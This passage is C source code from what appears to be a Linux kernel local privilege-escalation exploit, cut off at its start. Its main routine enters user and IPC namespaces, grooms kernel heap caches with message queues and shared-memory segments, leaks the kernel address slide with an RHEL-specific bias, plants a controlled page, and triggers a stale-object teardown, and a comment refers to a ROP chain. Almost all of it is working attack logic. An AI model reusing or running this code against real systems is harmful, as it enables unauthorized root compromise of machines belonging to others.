1; sleep(2); puts("[trigger] high-index namespace teardown completed"); return 0; } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); if (argc == 2 && !strcmp(argv[1], "--vuln-trigger")) return run_vuln_trigger(); if (argc == 2) return root_helper(argv[1]); if (argc != 1) { fprintf(stderr, "usage: %s [--vuln-trigger]\n", argv[0]); return EXIT_FAILURE; } drop_to_nobody_if_root(); prepare_regular_helper(); if (!fork()) watch_payload_ready(); pin_cpu(0); enter_user_ipc_namespaces(); safe_ns_fd = open("/proc/self/ns/ipc", O_RDONLY | O_CLOEXEC); if (safe_ns_fd < 0) die("open(safe ipc namespace)"); write_text("/proc/sys/kernel/shmmni", "32768\n"); safe_guard_queue = msgget(IPC_PRIVATE, IPC_CREAT | 0600); if (safe_guard_queue < 0) die("msgget(safe guard)"); prepare_shmid_defragmentation(); hold_kfence_pool(); prepare_victim_namespace(); for (int i = 0; i < ALIGN_COUNT; i++) { consume_kfence_sample(safe_guard_queue); align_ids[i] = new_segment(); } printf("[+] aligned exact newseg cache with %d live objects\n", ALIGN_COUNT); prepare_safe_pipes(); /* Keep anchor socket metadata out of the soon-to-be-stale kmalloc * population. Only their fragment pages are allocated after reclaim. */ known_page_prepare(); kernel_slide = leak_image_slide_checked() + RHEL_IMAGE_EDGE_BIAS; printf("[+] kernel slide=%#llx\n", (unsigned long long)kernel_slide); known_page = known_page_anchor(build_known_page, &kernel_slide, spray_safe_order0_pages, stale_reclaim_hook, NULL); printf("[+] anchored controlled page=%#llx\n", (unsigned long long)known_page); pin_cpu(0); if (setns(victim_ns_fd, CLONE_NEWIPC) < 0) die("setns(victim scan)"); puts("[+] scanning 16 first-key-controlled stale entries"); write_text("/proc/sys/kernel/shm_rmid_forced", "1\n"); /* Successful exploitation completes in the independent pipe-helper * watcher while this task sleeps in the non-returning ROP tail. */ sleep(2); return EXIT_FAILURE; }